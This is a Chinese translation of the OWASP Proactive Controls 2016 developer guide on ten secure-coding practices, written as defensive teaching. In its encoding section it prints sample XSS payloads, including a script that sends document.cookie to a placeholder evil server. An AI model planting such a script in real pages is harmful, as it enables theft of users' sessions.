

OWASP Proactive Controls For Developers

2016 v2.0

10 個高風險的安全防護建置指南

作者：徐祥智 Tony Hsu

About OWASP

The *Open Web Application Security Project* (OWASP) is a 501c3 non for profit educational charity dedicated to enabling organizations to design, develop, acquire, operate, and maintain secure software. All OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We can be found at www.owasp.org.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost effective information about application security.

OWASP is not affiliated with any technology company. Similar to many open source software projects, OWASP produces many types of materials in a collaborative and open way. The OWASP Foundation is a not-for-profit entity that ensures the project's long-term success.

INTRODUCTION

OWASP 十大安全防護安全設計指南 2016 應該包含在所有的軟體開發的專案中。

這十大防護安全設計的排列順序主要是依據重要性排序，排名第一位為最重要。

1. 盡早驗證，經常驗證
2. 參數化查詢的輸入
3. 資料編碼
4. 驗證所有的輸入
5. 身分認證與驗證
6. 權限的存取控管
7. 保護數據
8. 日誌與入侵偵測
9. 善用安全框架與程式庫
10. 錯誤與例外的處理



OWASP Proactive Controls – v 2.0

C1: 盡早驗證，經常驗證**說明**

許多的組織安全測試都是在開發後的階段透過測試完成，採取的是測試找出問題再來修補的作法。安全團隊透過工具掃描安全問題，回報給開發團隊相關的弱點，讓開發團對根據測試報告排定修補計畫。這樣的方式往往”頭痛醫頭腳痛醫腳”。

安全測試必須變成開發的一部份。不能將安全的測試遺留到專案接近尾聲的時候才執行。不管是透過手動測試或是自動化測試都必須要盡早驗證，即時且經常驗證。

在設計相關測試個案時就必須將安全考慮進去。安全測試的個案必須定義到每一次測試週期都可以執行的最小單位。OWASP ASVS 定義安全需求與測試指南。定義安全需求的時候可以考慮使用測試用例模版，例如：“當 <使用者角色> 我希望 <可以執行某種功能> 達到 <效益與目的>。” 將安全的功能與資料保護的需求在一開始需求定義的時候就考慮進去。

實務上執行建議透過每一次的測試結果，將測試的問題整理並且彙整到防護安全設計指南，避免同樣或是類似的問題一再發生。另外安全團隊可以與開發與測試團隊

透過 Test Driven Development 與 Continuous Integration 等軟件開發流程方法，逐漸讓研發團隊對自己開發的安全問題負責，並且將安全問題的解決與驗證的循環自動化。

弱點防護

- [OWASP Top 10全部](#)

References

- [OWASP Testing Guide](#)
- [OWASP ASVS](#)

Tools

- [OWASP ZAP](#)
- [OWASP Web Testing Environment Project](#)
- [OWASP OWTF](#)
- [BDD Security Open Source Testing Framework](#)
- [Gauntlt Security Testing Open Source Framework](#)

Training

- [OWASP Security Shepherd](#)
- [OWASP Mutillidae 2 Project](#)



OWASP Proactive Controls – v 2.0

C2: 參數化查詢**說明**

SQL 注入是最危險的 Web 应用程序的风险之一。SQL 注入是很容易透過現有許多開源自動化攻擊工具達成。SQL 注入對於應用程序也可能造成致命性的嚴重影響。

惡意 SQL 代碼注入到 Web 应用程序時 - 可以造成整個數據庫有可能被竊取，刪除或修改。Web 应用程序甚至可以用來對運行數據庫的操作系统的主機操作系统命令。導致 SQL 注入最主要的原因在於將 SQL 查詢語句與參數的輸入包含在一個查詢字符串。

要避免 SQL 注入的攻擊，必須要避免不可信的資料輸入成為 SQL 語句的一部份。設計上最好的防護方式就是將查詢參數化 ‘Query Parameterization’。查詢參數化主要是將 SQL 語句與參數分離後送到數據庫處理。

有許多的開發框架 (Rails, Django, Node.js, etc.) 使用 object-relational model (ORM) 方式將數據庫結構定義與數據庫隔離。ORMs 使用參數化的方式存取數據庫資料。因此程式開發者只需

要關注使用者資料輸入的有效性。

其他的 SQL 注入的防禦方式還包含自動靜態分析與數據庫配置。數據庫引擎可配置為只支援參數化的查詢方式。

Java 範例

這裡有一個參數化查詢的 Java 代碼範例：

```
String newName = request.getParameter("newName");
int id = Integer.parseInt(request.getParameter("id"));
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setInt(2, id);
```

PHP 範例

使用 PDO 的 PHP 參數化查詢範例：

```
$stmt = $dbh->prepare("update users set email=:new_email where
id=:user_id");
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```

Python 範例

使用 Python 參數化查詢的範例

```
email = REQUEST['email']
id = REQUEST['id']
```

```
cur.execute(update users set email=:new_email where id=:user_id",  
{"new_email": email, "user_id": id})
```

.NET 範例

使用 C#.NET 參數化查詢的範例

```
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";  
SqlCommand command = new SqlCommand(sql);  
command.Parameters.Add(new SqlParameter("@CustomerId",  
System.Data.SqlDbType.Int));  
command.Parameters["@CustomerId"].Value = 1;
```

風險防護

- [OWASP Top 10 2013-A1-Injection](#)
- [OWASP Mobile Top 10 2014-M1 Weak Server Side Controls](#)

參考

- [OWASP Query Parameterization Cheat Sheet](#)
- [OWASP SQL Injection Cheat Sheet](#)
- [OWASP Secure Coding Practices Quick Reference Guide](#)



OWASP Proactive Controls – v 2.0

C3: 編碼輸入資料**說明**

編碼是一種對許多攻擊防護的有效辦法。特別是針對注入式的攻擊特別有防護效果。注入式的攻擊主要透過編碼的方式將特殊符號轉換為一般正常的符號。透過編碼的方式繞過驗證與過濾。編碼可以防護的攻擊包含命令注入。(Unix 指令, Windows 指令) LDAP 注入 (LDAP 編碼) and XML injection (XML 編碼)等。另外一個對於有效預防 XSS 的攻擊方是就是資料輸出的編碼。(例如 HTML 編碼, JavaScript 編碼等)。

網站開發

網站開發團隊通常會建立動態的網頁，網頁通常由靜態資料，HTML/JavaScript 與使用者輸入的資料所組成。這些輸入在網站處理的過程中有可能造成不可知的風險。最常見的風險就是跨站腳本攻擊 Cross-Site Scripting (XSS)。XSS 主要發生在駭客輸入惡意的 JavaScript 資料，讓受害者瀏覽該網站時，間接的執行該惡意 JavaScript

範例

透過 XSS site 更改網頁

```
<script>document.body.innerHTML("Jim was here");</script>
```

XSS 會話盜取:

```
<script>
var img = new Image();
img.src="http://<some evil server>.com?" + document.cookie;
</script>
```

XSS 類型

XSS 的三種類型:

- Persistent 儲存
- Reflected 反射性
- DOM based DOM

Persistent XSS (or Stored XSS) 主要發生在 XSS 攻擊可以被儲存在網站資料庫或是檔案中。這樣的 XSS 攻擊方式是最危險的攻擊。因為所有受害使用者在登入網站之後都會受到影響,單一的 XSS 攻擊會所造成的影響層面是所有網站的使用者。

Reflected XSS 會發生的成因在於駭客利用 XSS 的輸入成為 URL 的一部份,誘導使用者點擊瀏覽該 URL。當使受害者瀏覽該 URL 時候, XSS

攻擊就會被觸發。Reflected XSS 這樣的攻擊方式比較沒有那麼危險，因為這樣的攻擊前提是需要駭客與使用者有進一步的互動，誘導使用者點擊的前提下才會發生。

DOM based XSS 主要發生在 DOM 而不是 HTML。也就是說網頁本身不會改變，但是用戶端的程序網頁的執行會隨著 DOM 的惡意修改而有所改變。這樣的攻擊方式只能在動態時被觀察。舉例來說，這個網址 `hxxp://www.example.com/test.html` 包含下列程式碼：

```
<script>document.write("Current URL : " +  
document.baseURI);</script>
```

A DOM Based XSS 攻擊方式可以透過傳送 URL：
`hxxp://www.example.com/test.html#<script>alert(1)</script>`
如果只是看原始程式碼並無法看出 `<script>alert(1)</script>`，因為 JavaScript 的執行主要透過 DOM 的方式完成。

輸出的編碼是防護 XSS 最有效的方式。輸出編碼主要是在建立使用者介面之前，將使用者輸入的相關數據進行編碼，這樣可以避免動態網頁由於 XSS 的輸入所造成的攻擊。資料的編碼可能在 HTML 屬性，HTML body 或是 JavaScript 程式碼等
編碼的方式有 HTML Entity Encoding, JavaScript Encoding 與

Percent Encoding (aka URL Encoding)等。OWASP's Java Encoder Project 提供編碼函數,可以針對 Java 進行編碼。 .NET 4.5, 可以使用 AntiXssEncoder Class, 這個程式庫提供 CSS, HTML, URL, JavaScriptString 與 XML encoders 等網頁編碼方式。 另外 AntiXSS 程式庫也包含 LDAP 與 VBScript 的編碼方式。每一種網頁的程式語言都會有相對應編碼程式庫的支援。

手機應用程式開發

手機應用程式中,主要透過 WebView 在 android/iOS 應用程式顯示 HTML/JavaScript 內容,手機使用的瀏覽器 Safari 與 Chrome 核心架構與電腦相同。因此對於網站應用程式來說, XSS 也會透過惡意的輸入或是沒有經過編碼的輸出造成 HTML/JavaScript 載入到 WebView 時所帶來的 XSS 攻擊。因此,WebView 也是駭客用來攻擊用戶端的一種方式。例如照相,取得地理位置,發送簡訊,發送電子郵件等攻擊。這些都會造成資料隱私外洩或是財務風險。

對於這樣的攻擊方式的防護取決於該應用程式如何使用手機 WebView。

- 惡意製造使用者輸入內容：這種的攻擊方式主要透過資料的過濾或是輸出到 Web View 的編碼來完成。

- 透過外部資源載入：如果 WebView 中必須要顯示外部網站資源，建議使用獨立安全的内容伺服器來源來提供相關内容，另外針對 HTML/JavaScript 的輸出内容加以編碼呈現。避免被惡意的 JavaScript 程式碼攻擊。

Java 範例

舉例來說，OWASP Java Encoder 這個專案提供 XSS 防護建置程式庫：[OWASP Java Encoder Project](#)。

PHP 範例

Zend Framework 2. Zend\Escaper 可以用來對資料輸出的編碼。

使用 ZF2 的編碼範例：

```
<?php
$input = '<script>alert("zf2")</script>';
$escaper = new Zend\Escaper\Escaper('utf-8');

// somewhere in an HTML template
<div class="user-provided-input">
<?php echo $escaper->escapeHtml($input);?>
</div>
```

防護威脅

- [OWASP Top 10 2013-A1-Injection](#)

- [OWASP Top 10 2013-A3-Cross-Site_Scripting_\(XSS\)](#)
- [OWASP Mobile_Top_10_2014-M7 Client Side Injection](#)

參考

- 注入攻擊資訊參考 [OWASP Top 10 2013-A1-Injection](#)
- XSS 攻擊資訊參考 [XSS](#)
- [OWASP XSS Filter Evasion Attacks](#)
- 防護 XSS 指南 OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
- 防護 DOM XSSOWASP DOM based XSS Prevention Cheat Sheet
- 使用 Microsoft AntiXSS 編碼程式庫
ASP.NET. <http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/>
- 使用 Microsoft AntiXSS 編碼程式庫主要編碼函數 .<https://msdn.microsoft.com/en-us/security/aa973814.aspx>

工具

- [OWASP Java Encoder Project](#)



C4: 驗證所有的輸入

說明

任何跟應用系統有直接或是間接或是交互影響的資料輸入都應該要被視為不可被信任。因此應用程式對於資料的輸入應該驗證其合法性與語意的正確性，包含要顯示給使用者的輸出內容也是。除此之外，最安全的應用系統會將所有的參數視為不可信任並且針對所有的參數進行安全的防護控制

語法檢查表示資料的型態與格式有一定的預期。舉例來說，應用程式可能只允許使用者選擇四位數字的 `accountID` 來進行操作。該應用系統應該假設使用者會輸入 SQL injection 的惡意攻擊，並且做資料輸入的檢查看該資料是否為四位數字而且輸入的字元只有數字。

語意的檢查主要在於檢查資料是否有意義。例如上述範例，應用程式應該假設使用者會輸入一個不允許登入的 `AccountID`。因此應用程式必須要檢查該使用者 `accountID` 是否有權限存取。

輸入驗證必須要在伺服器端發生。用戶端的資料驗證檢查可能使用上比較方便。例如用戶端的檢查可以透過 JavaScript 驗證直接告訴

使用者資料輸入的正確性，但是伺服器端的檢查還是必須的。因為單純靠用戶端的檢查，很容易被駭客繞過而對伺服器直接進行攻擊。

背景

有大部分的網站弱點來至於沒有對資料輸入進行驗證或是驗證不完整。資料的輸入不僅限於畫面上的輸入，還包含下列的資料輸入（但不限於）：

- HTTP headers
- Cookies
- GET 與 POST 參數(包含 hidden fields)
- 檔案上傳 uploads（包含檔案資訊與檔名等的輸入）

同樣的手機應用程式的輸入包含：

- Inter-process communication (IPC - 例如, Android Intents)
- 從後端伺服器擷取的資料
- 從檔案讀取的資料

對於資料輸入的驗證，常見的有兩種方式，一種是黑名單另外一種是白名單

黑名單主要檢查使用者輸入是否在已知的惡意輸入清單中。黑名單的方式比較接近防毒軟體的運作方式：提供第一線的防護，防毒軟

體檢查如果有已知的病毒檔案就進行阻擋。這樣的防護方式為防護的基礎。

白名單主要檢查使用者的輸入是否是落在已知的合法輸入。舉例來書，網站可能允許選擇三個城市，應用系統就會檢查這三個城市是否在合法的白名單中，如果輸入的是其他城市就會被拒絕。根據字元合法性檢查的白名單會驗證使用者輸入是否只有包含已知合法字元或是已知的格式。舉例來說，使用者名稱僅能包含英文字母與只有兩個數字的組合。

建置安全的應用系統，白名單的方式通常是比較安全的防護。黑名單的方式比較容易會有錯誤與誤判的情況發生，黑名單需要因應新的攻擊不斷的更新。

Regular Expression

Regular expressions 提供資料是否符合格式的一種方式，這是一種有效建立白名單驗證的方式。

當使用者註冊網站的時候，網站會需要使用者名稱，密碼與電子郵件等資訊。駭客有可能透過這些資料，輸入惡意的資料。透過 Regular Expressions 的驗證方式，可以讓白名單的檢查更有效果。

舉例來說, 我們利用 regular expression 建立使用者檢查如下

```
^[a-z0-9_]{3,16}$
```

這個 regular expression 的資料輸入只允許小寫字母, 數字, 底線.

使用者名稱僅限於 3-16 個長度的字母

對於密碼也可以建立相對應的檢查機制

```
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#%]).{10,4000}$
```

這個 regular expression 限制密碼只能夠在 10 到 4000 個字元長度,

密碼輸入只能夠包含大小寫字母, 特殊符號@, #, \$, or %等.

針對電子郵件的 regular expression 範例可以參考 <http://www.w3.org/TR/html5/forms.html#valid-e-mail-address>).

```
^[a-zA-Z0-9.!#$%&'*/+=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
```

不好的 regular expressions 的設計會導致 DOS 的攻擊. 建議在建立這樣的白名單時, 可以使用 regular expression 的測試工具協助開發時進行相關的測試.

也有些特殊的情況無法單純的靠 regular expressions. 舉例來說, 如果你的應用系統需要處理 HTML 的內容, 輸入的資料也允許 HTML 那麼這樣的內容就會很難建立白名單. 這種方式建議使用 HTML 驗證的程式庫, 而非使用 regular expression 的方式, 參考 [XSS Prevention Cheat Sheet on HTML Sanitization](#).

PHP 範例

PHP v5.2 之後提供可以將輸入資料去除非法字元的機制。同時也提供資料過濾的方式

資料驗證與過濾的範例：

```
<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
    echo "This sanitized email address is considered valid.\n";
}
```

注意：Regular Expression：

使用 regular expression 的方式其實會讓驗證方式很難讀懂，其他建議的方式可以採用自建驗證規則的函數增加程式的可讀性。

注意：安全驗證

資料輸入的驗證並無法完全有效的讓所有的輸入資料變成安全，因為很有可能白名單字元中也包含潛在惡意的字元。應用程式必須額外採用其他的防護措施 舉例來說，如果要輸出 HTML 內容，就必須要做 HTML 編碼以防止 Cross-Site Scripting 攻擊。如果要透過 SQL 語句執行，就必須使用參數化查詢 Query Parameterization 的方式。針對 XSS 或是 SQL injection 的攻擊方式都無法靠單純的資料輸入驗證來達到完整安全防護.！

防護威脅

- [OWASP Top 10 2013-A1-Injection \(in part\)](#)
- [OWASP Top 10 2013-A3-Cross-Site_Scripting_\(XSS\) \(in part\)](#)
- [OWASP Top 10 2013-A10-Unvalidated_Redirects_and_Forwards](#)
- [OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs \(in part\)](#)

參考

- [OWASP Input Validation Cheat Sheet](#)
- [OWASP Testing for Input Validation](#)
- [OWASP iOS Cheat Sheet Security Decisions via Untrusted Inputs](#)

工具

- [OWASP JSON Sanitizer Project](#)
- [OWASP Java HTML Sanitizer Project](#)



C5: 身分認證與驗證的防護

說明

認證主要是驗證個人是否為該宣稱的身任。驗證通常透過提供使用者帳號與其他使用者應該知道的隱私訊息組成..

會話管理主要是維持認證狀態的一種機制。這需要後端伺服器記得整個完整交易的請求過程。Sessions 就會在用戶端與伺服器端不斷的往返溝通。因此 sessions 應該必須保持唯一性而且不容易被猜測。

身分認證管理是一個更大的主題，不僅僅包含認證與會話管理，還包含服務間的相互認證 identity federation，單一帳號登入認證 single sign on 與密碼管理，授權，身份儲存等。

以下是安全防護建置的建議與相關的程式碼範例。

使用多因子認證 Multi-Factor Authentication

多因子認證-factor authentication (MFA)的方式可以確保使用者透過下列多重組合的方式認證：

- 使用者知道—密碼或是 PIN

- 使用者擁有的 - 手機
- 使用者是誰 - 生物特徵, 例如指紋

可參考 [OWASP Authentication Cheat Sheet](#) 其他詳細說明.

手機應用程式: Token-Based Authentication

當開發手機應用程式時, 建議避免儲存身分認證在用戶端或是手機裝置. 通常是在使用者輸入帳號密碼之後, 服務器會產生一組短期可以使用的授權碼 token, 這個授權碼可以讓伺服器驗證手機端而不需要再次傳遞使用者身份.

安全的密碼儲存

為了要提供要強的認證防護, 應用系統應該要用更安全的方式儲存身份資訊. 除此之外, 加密金鑰或是密碼如果被駭客入侵, 也應該讓駭客無法立即的存取到該資訊.

參閱 [OWASP Password Storage Cheat Sheet](#)

忘記密碼的安全防護機制

提供使用者忘記密碼是應用系統很普遍的功能. 一個好的密碼回復流程會採用多因子認證的方式進行, 例如詢問使用者問題 - 使用者知道的事, 另外透過使用者的手機發送認證碼 - 使用者所擁有的裝置

請

參

閱

[Forgot Password Cheat Sheet](#) and [Choosing and Using Security Questions Cheat Sheet](#)

會話:產生與過期失效

只要認證成功或是重新認證時,軟體就會產生新的 session ID.

為了要避免駭客對於有效的會話 session 進行攔截攻擊,每一個 session 必須設置閒置失效時間. 當一段時間沒有任何交易進行時,該會話就會自動失效. 時間的長短應該與資料的價值成反比. 越重要的資料,失效時間應該越短. 請參閱 [Session Management Cheat Sheet](#).

對於敏感性功能應該要重新驗證

對於敏感性交易,像是更改密碼或是更改寄送購買貨品的郵件地址,都應該要有重新認證的過程,並且在認證成功的時候重新產生新的 session ID.

PHP 密碼儲存範例

以下是 PHP 使用 password_hash()密碼儲存範例(5.5.0 版本)預設使用 bcrypt 演算法. 下列的範例使用 work factor=15.

```
<?php  
$cost = 15;
```

```
$password_hash = password_hash("secret_password",  
PASSWORD_DEFAULT, ["cost" => $cost] ); ?>
```

結論

身分認證是安全一個重要的課題。我們只有討論基本的防護原則，團對開發時也建議讓最資深的工程師共同來為這部分的安全把關。

防護弱點

- [OWASP Top 10 2013 A2- Broken Authentication and Session Management](#)
- [OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication](#)

參考資料

- [OWASP Authentication Cheat Sheet](#)
- [OWASP Password Storage Cheat Sheet](#)
- [OWASP Forgot Password Cheat Sheet](#)
- [OWASP Choosing and Using Security Questions Cheat Sheet](#)
- [OWASP Session Management Cheat Sheet](#)
- [OWASP Testing Guide 4.0: Testing for Authentication](#)
- [IOS Developer Cheat Sheet](#)



C6: 存取控管

說明

授權(存取控管)是針對特定資源發出存取請求,判斷該請求是否應該被核准或是拒絕。要注意的是授權與認證是不同的。這裡個名詞經常被混淆。

授權的設計可以由簡單開始,之後根據應用系統的需求演進為較為複雜的安全控管。在設計階段的時候有些安全的設計需要考量。一旦選定特定的授權控制機制後,之後要再重新更改新的授權機制會比較困難。特別是在多租戶的使用環境下,權限管理在應用系統安全防護更是重要。

強制所有的存取都需要經過權限控制

有許多的框架或是程式語言只有在程式碼中加入該功能的檢查時才會進行權限控制。建議權限控制應該是中央控管,所有的存取都應該要再第一時間做權限驗證。考慮可以設計一個自動過濾的機制,將所有的存取都透過權限控制的方式檢查

預設不授權

透過自動權限檢查的機制，考慮預設將所有沒有經過權限檢查的存取都不允許存取。這樣可以避免新功能因為程式開發遺漏授權檢查而導致跳過授權驗證的步驟。

最小權限原則

當設計存取控制時，所有的使用者或是系統元件應該都預設配置最小的權限，在最短的有效權限時間內執行相關的功能。

避免程式碼中寫死（Hard-Coded）權限控制

有許多情況權限控管被寫死在程式邏輯中。這會讓安全的稽查變得特別困難且耗時。如果可以的話，權限控管的規則應該與程式分離。另一個方式就是將權限檢查與最終權限決定分離。

程式碼

有許多的框架依據使用者角色來決定權限控制的權限。透過是用者角色的權限控制也是通用的安全防護設計。但是往往程式實作上卻是以使用者與對應的功能權限來做檢查。這樣的檢查應該要定義使用者與功能對應權限對應關係。舉例來說，使用者使用者通常會根據專案修改角色，但是存取專案的相關權限商業功能也應該要加以定義

下面是不好的程式碼範例：

```
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {  
    deleteAccount();  
}
```

正確的程式範例：

```
if (user.hasAccess("DELETE_ACCOUNT")) {  
    deleteAccount();  
}
```

伺服器端的信任資料要以權限控制為導向

有許多的資訊內容提供讓伺服器端作為權限控制的判斷(使用者的登入, 使用者權限, 使用者權限規則, 哪些功能與資料已被存取, 地理位置等), 這些資訊由後端伺服器決定是否可以存取, 而非客戶端可以任意存取或是決定。權限規則像是使用者角色或是權限控制規則不能成為用戶端任意存取的一部份。一個標準的網站應用系統中, 用戶端資料只有 id 需要作為權限控制的輸入。許多其他關於權限控制的資訊應該由後端伺服器決定是否能夠被存取。

Java 範例

就像上述所討論, 建議將存取控制定義與商業邏輯分開。這樣的安

全設計方式就可以透過中央安全規則管理實現彈性化權限配置。舉例來說 [Apache Shiro](#) API 提供簡單的 [INI-based configuration file](#) 安全配置檔案讓權限控制規則可以透過模組的方式彈性調整。Apache Shiro 也可以與許多其它 Java 相容的框架運作 (Spring, Guice, JBoss, etc)。Aspects 也提供可以把權限控制與應用程式碼分離的機制, 並且提供可以稽核的實作方式。

安全防護

- [OWASP Top 10 2013-A4-Insecure Direct Object References](#)
- [OWASP Top 10 2013-A7-Missing Function Level Access Control](#)
- [OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication](#)

參考

- [OWASP Access Control Cheat Sheet](#)
- [OWASP Testing Guide for Authorization](#)
- [OWASP iOS Developer Cheat Sheet Poor Authorization and Authentication](#)



C7: 保護資料

加密傳輸過程中的資料

當傳輸敏感性資料的時候，系統的每一個環節或是網路都應該在傳遞的過程中加密。TLS 是目前最普遍被網站使用來做資料傳遞加密的方式。儘管已經有些已知的風險被發現(e.g. Heartbleed)，TLS 的加密方式還是建議在傳遞的過程中使用。

Encrypting data at Rest

密碼的儲存很難做到安全。資料的分類也會影響資料加密的方式。例如信用卡資料就必須符合 PCI-DSS 認證標準。如果你希望要自己建立自己的密碼系統，也必須確定有足夠的專業判斷該密碼的強度。實務上建議使用業界已經經過驗證的加密演算法，而非自行開發加密演算法。可以使用 Google KeyCzar 的加密程式庫，Bouncy Castle 等加密函數都包含在該程式庫 SDK。另外對於密碼系統的處理也必須考量密鑰的管理與整體加密架構的設計，對於較複雜的系統還要考量系統間相互的信任關係。

資料傳輸加密的弱點常發生在選用不適合的加密金鑰或是將加密金

鑰與資料一起儲存。金鑰應該被視為機密而且只能存在特別保護的儲存體中。需要授權使用者才能夠存取該金鑰並且使用後要從記憶體中移除。其它替代方案像是使用特殊的硬體來進行加密，例如 Hardware Security Module (HSM) 的金鑰管理，加密相關的程序與模組必須獨立運作。

傳遞過程的防護

確保敏感性資訊不會在傳遞的過程外洩。敏感性資訊可能從記憶體被存取，或是從臨時儲存的磁碟位置或是記錄檔等被駭客讀取。

手機應用程式：用戶端的儲存安全防護

對於手機裝置來說，因為經常會有遺失或是被竊取的問題，因為防護手機端的資料安全需要適當的防護措施。應用程式如果建置不當，很容易導致嚴重的資訊外洩(舉例來書：認證資訊，存取驗證 token 等)。當管理重要敏感性資料時 最好的方式就是不要將資料儲存在手機端，甚至透過 iOS keychain 的方式儲存都不要。

安全防護

- [OWASP Top 10 2013-A6-Sensitive Data Exposure](#)
- [OWASP Mobile Top 10 2014-M2 Insecure Data Storage](#)

參考

- TLS 安全設定: [OWASP Transport Layer Protection Cheat Sheet](#)
- 防護中間人與偽造 TLS 證書的攻擊威脅: [OWASP Pinning Cheat Sheet](#)
- [OWASP Cryptographic Storage Cheat Sheet](#)
- [OWASP Password Storage Cheat Sheet](#)
- [OWASP Testing for TLS](#)
- IOS Developer Cheat Sheet: [OWASP iOS Secure Data Storage](#)
- IOS Application Security Testing Cheat Sheet: [OWASP Insecure data storage](#)

工具

- [OWASP O-Saft TLS Tool](#)



C8: 建立日誌審計與入侵檢測

說明

應用程式日誌應該不限於程式除錯使用。日誌也被運用在其它記錄審計，舉例如下：

- 應用程式監控
- 商業分析
- 活動日誌稽核與合規監控
- 系統入侵檢測 System intrusion detection
- 分析與鑑定 Forensics

分析日誌與安全事件有助於威脅攻擊與防護：讓我們可以確定相關的安全測試與攻擊的防護是否有效果。

為了要讓關連分析更加容易，建議可以用通用的日誌格式讓不同系統間的日誌分析更容易。例如可以使用 SLF4J 的 Logback 或是 Apache Log4j2 的日誌框架等。

程序監控，交易日誌審計等通常會因為不同的目的而被收集，這也表示這些日誌會被另外儲存。這些事件的類型與詳細的內容也會有

所不同。舉例來說，PCI DSS 審計日誌會包含歷史時間順序的活動日誌以提供獨立的審計單位可以按照時間軸針對交易的屬性進行稽核。對於日誌記錄的詳細程度過多與過少都不好。要確保日誌有時間並且可以辨認來源 IP 與 user ID，但是必須注意不能夠記錄個人隱私或是個人機密的資訊。透過日誌的使用目的來判斷應該要記錄的詳細程度。同時日誌的寫入應該要透過編碼方式進行，防止日誌被偽造 Log Injection aka [log forging](#)。

[OWASP AppSensor Project](#) 提供如何網站應用系統建置入侵檢測與自動防禦的指南：透過加入檢測規則並且定義回覆採取行動來防護網站的攻擊。舉例來說，如果服務伺服器端偵測到非法的資料輸入，或是一個不能夠編輯的資料欄位但是卻被送到後端伺服器時，表示該後端伺服器遭受到攻擊。這時候不要只是用日誌記錄下來，進一步可以發送告警，或是採取其它行動保護整個系統，例如該攻擊的連線或是將該帳號鎖住無法使用等。

在手機應用程式，程式開發應該利用日誌來進行除錯，這樣常會導致許多敏感性資訊外洩的問題。這些手機日誌可以透過 Xcode IDE (iOS) 或是 Logcat (Android) 或是其它第三方工具來對手機上的日誌進行分析與讀取。因此，對於手機來說，最好的方式就是將日誌

的功能取消。

良好的安全日誌設計包含下列要素

1. 日誌可以設定層級, 例如 i.e. Information, Warning, Error, fatal or Security Breach (highest value)
2. 可以對任何的字元編碼避免日誌注入的攻擊
3. 不要紀錄敏感性資訊. 舉例來說, 密碼, session ID 或是密碼的 Hash 值, 信用卡, 社會保險碼等
4. 保護日誌的完整性. 駭客可能會修改日誌. 因此, 日誌檔案存取的權限與日誌修改的稽核都應該納入考量.
5. 日誌檔案大小的成長: 駭客可以透過送出大量的請求導致磁碟空間不足或是造成之前的日誌被覆蓋.

取消 Android 手機程式的日誌

取消 Android 手機程式日誌最簡單的方是就是使用 Android [ProGuard](#), 這個工具會將相關的日致函數移除. 可以透過 proguard-project.txt 配置定義:

```
-assumenosideeffects class android.util.Log
{
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int i(...);
```

```
public static int w(...);  
  
public static int d(...);  
  
public static int e(...);  
  
}
```

取消 iOS 手機程式的日誌

同樣的技巧也可以套用在 iOS 手機應用程式，利用 preprocessor 的定義方式移除日誌相關程式碼：

```
#ifndef DEBUG  
  
#define NSLog(...)   
  
#endif
```

安全防護

- [All Top Ten!](#)
- [Mobile Top 10 2014-M4 Unintended Data Leakage](#)

參考資料

- 如何正確的建置日誌 [OWASP Logging Cheat Sheet](#)
- iOS Developer Cheat Sheet: [OWASP Sensitive Information Disclosure](#)
- [OWASP Logging](#)
- [OWASP Reviewing Code for Logging Issues](#)

工具

- [OWASP AppSensor Project](#)
- [OWASP Security Logging Project](#)



C9: 使用安全框架來開發

當建置網站服務或是手機應用程式，如果防護措施要從頭到尾自行建置開發會十分耗時而且會導致許多安全漏洞。業界有許多成熟的安全框架可以幫助開發與建置過程中減少許多安全漏洞。實作上建議依據目前現有的架構，採用合適的安全框架。網站安全框架有：

- [Spring Security](#)
- [Apache Shiro](#)
- [Django Security](#)
- [Flask security](#)

另外還必須考量框架還是會有潛在安全的漏洞，網站提供功能的攻擊路徑，以及第三方插件漏洞等風險。舉例來書，Wordpress 框架一個很普遍的網站框架，可以快速的搭建網站，也支持安全漏洞的更新，但是 Wordpress 第三方工具卻不一定會有安全補丁的即時更新。因此，建議額外的安全防護措施，經常更新安全補丁，盡早驗證等措施還是必要的

安全防護

安全框架通常可以避免常見的網站風險，例如 OWASP Top 10，特別是

基於錯誤輸入的攻擊方式（例如輸入 JavaScript 而非使用者名稱）。

使用安全框架時要隨時保持該框架的最新版本，避免遭受已知威脅攻

擊，參考 [透過已知威脅攻擊 Top 10 2013](#)

參考

- [OWASP PHP Security Cheat Sheet](#)
- [OWASP .NET Security Cheat Sheet](#)
- [Security tips and tricks for JavaScript MVC frameworks and templating libraries](#)
- [Angular Security](#)
- [OWASP Security Features in common Web Frameworks](#)
- [OWASP Java Security Libraries and Frameworks](#)

工具

- [OWASP Dependency Check](#)



C10: 錯誤與例外處理

說明

建置錯誤與例外處理是一個瑣碎的過程。但是錯誤與例外狀況的處理卻是編碼防護重要的一環。不恰當的錯誤處理會導致許多安全漏洞的風險：

1) 洩漏資料給駭客, 讓駭客知道伺服器平台所使用的技術與設計 [CWE 209](#). 舉例來說, 回覆 stack trace 或是其它內部詳細錯誤的訊息都會導致讓駭客知道更多後端伺服器的運作邏輯。駭客也會透過不同的錯誤型態(例如, 錯誤的使用者或是錯誤的密碼等)來瞭解伺服器檢查的機制。

2) 完全不做錯誤檢查會導致錯誤無法被偵測到或是無法預期的結果 [CWE 391](#). University of Toronto 的研究員發現在分散式系統中, 錯誤處理或是失誤是導致系統失敗的主要原因 <https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf>.

錯誤與例外處理包含商業邏輯與安全防護等。透過程式碼的審視，安全測試與滲透式測試，fuzzing ([Fuzzing](#)) 測試等都可以幫助找到錯誤處理的漏洞。其中最有名的自動化工具為 [Netflix's Chaos Monkey](#)。

建議

對於例外處理建議採用中央管理的方式避免許多重複的 try/catch 程式碼的片段，確保非預期的行為都可以正確的被應用程式處理。

- 確保顯示給使用者的錯誤訊息不會洩漏過多的資訊，但是使用者還是可以理解問題發生的原因與解釋。
